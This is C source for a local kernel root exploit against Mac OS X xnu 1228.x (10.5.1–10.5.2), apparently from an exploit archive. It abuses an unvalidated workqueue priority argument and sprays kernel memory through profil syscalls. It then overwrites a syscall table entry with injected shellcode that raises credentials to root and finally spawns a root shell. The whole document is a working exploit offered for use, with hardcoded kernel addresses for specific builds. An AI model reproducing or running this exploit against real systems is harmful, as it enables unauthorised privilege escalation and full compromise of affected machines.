/* xnu-workq-v2-64.c * * Copyright (c) 2008 by * * Apple MACOS X xnu <= 1228.9.59 local kernel root exploit * by mu-b - Sat 16 Feb 2008 * * - Tested on: Apple MACOS X 10.5.1 (xnu-1228.0.2~1/RELEASE_I386) * Apple MACOS X 10.5.2 (xnu-1228.3.13~1/RELEASE_I386) * * workqueue_additem and workqueue_removeitem do no validate the * user defineable parameter prio. * (bsd/kern/pthread_synch.c) * * Note: this requires quite a large amount of memory for the heap spray! * * Compile: gcc -Wall -O0 -m64 xnu-workq-v2-64.c -o xnu-workq-v2-64 * (compile 64-bit ONLY) * * - Private Source Code -DO NOT DISTRIBUTE - * http://www.digit-labs.org/ -- Digit-Labs 2008!@$! */ #include #include #include #include #include #include #include /* profil defines */ #define PROFIL_ITEM_SIZE 64 #define PROFIL_BLK_SIZE 65536 #define PROFIL_BLK_NUM 84 /* workq defines */ #define WQOPS_QUEUE_ADD 1 #define WORKQUEUE_PRIOS_MIN -2 #define WORKQUEUE_PRIOS_MAX 2 /* overwrite defines */ #define WL_LIST_BASE 0x05600000 #define WL_LIST_ACCESS 0x09000060 #define WILIST_PTR 0x10000044 #define WIITEM_PTR 0x18000044 struct workq_item { void *_pad[2]; void *func; void *__pad[2]; }; struct workq_ops_args { int options; void *item; int prio; }; static struct targets { const char *name; int auth_addr; /* kauth_cred_get */ int sys_addr; /* sysent, &__mac_getfsstat */ } targets_t[] = { { "root:xnu-1228~1/RELEASE_I386", 0x0035F492, 0x00503F90 + 4 }, { "root:xnu-1228.0.2~1/RELEASE_I386", 0x0035F429, 0x00504F90 + 4 }, { "root:xnu-1228.3.13~1/RELEASE_I386", 0x0036094C, 0x00506F90 + 4 }, { NULL, 0, 0 }, }; void _dummy (void) { while (1); } int main (int argc, char **argv) { struct workq_ops_args req; struct workq_item workq; struct utsname p_uname; int auth_addr, sys_addr; char buf[1024], *ptr; int id, i, n; printf ("Apple MACOS X xnu <= 1228.3.13 local kernel root/DoS exploit\n" "by: \n" "http://www.digit-labs.org/ -- Digit-Labs 2008!@$!\n\n"); auth_addr = 0; sys_addr = 0; uname (&p_uname); ptr = strrchr (p_uname.version, ' ') + 1; for (i = 0; targets_t[i].name; i++) if (strcmp (targets_t[i].name, ptr) == 0) { auth_addr = targets_t[i].auth_addr; sys_addr = targets_t[i].sys_addr; break; } if (targets_t[i].name == NULL) { fprintf (stderr, "%s: unsupported xnu version found :( [%s]\n", argv[0], ptr); exit (EXIT_FAILURE); } printf ("* opening work queue, pid: %d...", getpid ()); if ((n = syscall (SYS_workq_open, NULL)) < 0) { fprintf (stderr, "\n%s: syscall [SYS_workq_open]: failed: %d\n", argv[0], n); exit (EXIT_FAILURE); } printf ("done\n\n"); printf ("* beginning spraying...\n"); printf ("** opening profil, pid: %d...", getpid ()); if ((n = syscall (SYS_profil, buf, sizeof buf, 0, 1)) < 0) { fprintf (stderr, "\n%s: syscall [SYS_profil]: failed: %d\n", argv[0], n); exit (EXIT_FAILURE); } printf ("done\n"); printf ("* filling %d-bytes of kernel memory...\n", PROFIL_BLK_NUM * PROFIL_BLK_SIZE * PROFIL_ITEM_SIZE); printf ("** filling workitemlist pointers...\n"); fflush (stdout); for (i = 0; i < (PROFIL_BLK_SIZE * PROFIL_BLK_NUM) / 3; i++) { void *arg1, *arg2, *arg3; arg1 = (void *) ((((long) WILIST_PTR) << 32) | WILIST_PTR); arg2 = (void *) 0xE4E5E6E7E0E1E2E3; arg3 = (void *) 0xF4F5F6F7F0F1F2F3; n = syscall (SYS_add_profil, arg1, arg2, arg3, 0x0); if (n < 0) { fprintf (stderr, "%s: syscall [SYS_add_profil]: failed: %d\n", argv[0], n); exit (EXIT_FAILURE); } if (!(i % 32)) printf ("** %d-bytes filled\r", i * 64); } printf ("\n** done\n\n"); printf ("** filling %d workitem elements...\n", (PROFIL_BLK_SIZE * PROFIL_BLK_NUM) / 3); fflush (stdout); for (i = 0; i < (PROFIL_BLK_SIZE * PROFIL_BLK_NUM) / 3; i++) { void *arg1, *arg2, *arg3; /* 0X4(edx) (edx) */ /* eax ecx */ arg1 = (void *) ((((long) sys_addr) << 32) | WIITEM_PTR); arg2 = (void *) 0xDEADBE03DEADBE02; arg3 = (void *) 0xDEADBE05DEADBE04; n = syscall (SYS_add_profil, arg1, arg2, arg3, 0x0); if (n < 0) { fprintf (stderr, "%s: syscall [SYS_add_profil]: failed: %d\n", argv[0], n); exit (EXIT_FAILURE); } if (!(i % 32)) printf ("** %d-bytes filled\r", i * 64); } printf ("\n** done\n\n"); printf ("** filling %d next workitem elements...\n", (PROFIL_BLK_SIZE * PROFIL_BLK_NUM) / 3); fflush (stdout); for (i = 0; i < (PROFIL_BLK_SIZE * PROFIL_BLK_NUM) / 3; i++) { void *arg1, *arg2, *arg3; arg1 = (void *) 0x0000000004EB9090; arg2 = (void *) ((((long) auth_addr) << 32) | 0xB8E58955); arg3 = (void *) 0xC9105089D231D0FF; n = syscall (SYS_add_profil, arg1, arg2, arg3, 0xCCC3); if (n < 0) { fprintf (stderr, "%s: syscall [SYS_add_profil]: failed: %d\n", argv[0], n); exit (EXIT_FAILURE); } if (!(i % 32)) printf ("** %d-bytes filled\r", i * 64); } printf ("\n** done\n* done\n\n"); printf ("* adding dummy workq to lists...\n"); memset (&workq, 0, sizeof workq); workq._pad[0] = buf; workq._pad[1] = buf; workq.func = &_dummy; workq.__pad[0] = buf; workq.__pad[1] = buf; for (i = WORKQUEUE_PRIOS_MIN; i <= WORKQUEUE_PRIOS_MAX; i++) { memset (&req, 0, sizeof req); req.options = WQOPS_QUEUE_ADD; req.item = &workq; req.prio = i; printf ("** adding dummy worklist item: %d...", i); if ((n = syscall (SYS_workq_ops, req.options, req.item, req.prio)) < 0) { fprintf (stderr, "\n%s: syscall [SYS_workq_ops]: failed: %d\n", argv[0], n); exit (EXIT_FAILURE); } printf ("done\n"); } printf ("* done\n\n"); sleep (1); memset (&req, 0, sizeof req); req.options = WQOPS_QUEUE_ADD; req.item = (void *) 0xCAFEBABE; req.prio = (WL_LIST_ACCESS - WL_LIST_BASE) / 16; printf ("* overwriting @0x%08X with 0x%08X\n", sys_addr, WIITEM_PTR); printf ("** req.prio: 0x%08X, access @~0x%08X [with offset: 0x%08X]\n", req.prio, WL_LIST_ACCESS, WL_LIST_BASE); sleep (1); if ((n = syscall (SYS_workq_ops, req.options, req.item, req.prio)) < 0) { fprintf (stderr, "%s: syscall [SYS_workq_ops]: failed: %d\n", argv[0], n); exit (EXIT_FAILURE); } printf ("* done\n\n"); printf ("* jumping...."); sleep (1); if ((n = syscall (SYS___mac_getfsstat, 0, 0, 0, 0, 0)) == 0) { fprintf (stderr, "\n%s: syscall [SYS___mac_getfsstat]: failed: %d\n", argv[0], n); exit (EXIT_FAILURE); } printf ("done\n\n"); id = getuid (); printf ("* getuid(): %d\n", id); if (id == 0) { printf ("+Wh00t\n\n"); /* exec shell, for some reason execve doesn't work!?$! */ system ("/bin/bash"); } else fprintf (stderr, "%s: failed to obtain root :(\n", argv[0]); return (EXIT_SUCCESS); } // milw0rm.com [2009-06-08]